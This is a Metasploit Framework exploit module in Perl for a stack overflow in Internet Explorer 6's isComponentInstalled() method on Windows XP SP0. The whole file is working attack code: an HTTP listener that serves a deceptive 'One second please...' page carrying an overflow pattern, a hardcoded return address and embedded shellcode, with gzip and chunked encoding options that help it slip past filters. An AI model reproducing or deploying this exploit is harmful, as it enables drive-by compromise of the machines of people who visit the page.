Microsoft Internet Explorer "IsComponentInstalled()" Remote Stack Overflow Exploit
Note : This vulnerability has reportedly been fixed in Windows XP SP1 and Windows 2000 SP4
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::ie_iscomponentinstalled;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;
my $advanced =
{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
};
my $info =
{
'Name' => 'Windows XP SP0 IE 6.0 IsComponentInstalled() Overflow',
'Version' => '$Revision: 1.2 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a stack overflow in Internet Explorer. This bug was
patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC.
}),
'Arch' => [ 'x86' ],
'OS' => [ 'win32' ],
'Priv' => 0,
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},
'Payload' =>
{
'Prepend' => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
'Space' => 512,
'BadChars' => "\x00\x5c\x0a\x0d\x22",
'Keys' => ['-bind'],
},
'Refs' =>
[
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Windows XP SP0 with Internet Explorer 6.0', 0x71aa16e5 ]
],
'Keys' => [ 'ie' ],
'DisclosureDate' => 'Feb 24 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;
# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}
my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
Pex::Utils::SourceIP('1.2.3.4') :
$self->GetVar('HTTPHOST');
$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}
return;
}
sub HandleHttpClient
{
my $self = shift;
my $fd = shift;
# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
# Read the HTTP command
my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
my $agent;
# Read in the HTTP headers
while ((my $line = $fd->RecvLine(10))) {
$line =~ s/^\s+|\s+$//g;
my ($var, $val) = split(/\:/, $line, 2);
# Break out if we reach the end of the headers
last if (not defined($var) or not defined($val));
$agent = $val if $var =~ /User-Agent/i;
}
$self->PrintLine("[*] Client connected from $rhost:$rport ($agent)");
my $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));
$fd->Close();
}
sub GenerateHTML {
my $self = shift;
my $target = $self->Targets->[$self->GetVar('TARGET')];
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $pattern = Pex::Text::AlphaNumText(8192);
substr($pattern, 755, 4, pack('V', $target->[1] ));
substr($pattern, 755 + 2888, length($shellcode), $shellcode);
my $data = qq|
<html>
<head>
<title>One second please...</title>
<script>
function window.onload() {
oClientCaps.style.behavior = "url(#default#clientCaps)";
oClientCaps.isComponentInstalled("$pattern", "componentid");
}
</script>
</head>
<body id="oClientCaps">
One second please...
</body>
</html>
|;
return $data;
}
sub BuildResponse {
my ($self, $content) = @_;
my $response =
"HTTP/1.1 200 OK\r\n" .
"Content-Type: text/html\r\n";
if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "\r\n" .
"Connection: close\r\n";
}
$response .= "\r\n" . $content;
return $response;
}
sub Chunk {
my ($self, $content) = @_;
my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";
return $chunked;
}
sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;
my($wtr, $rdr, $err);
my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;
return (<$rdr>);
}
1;
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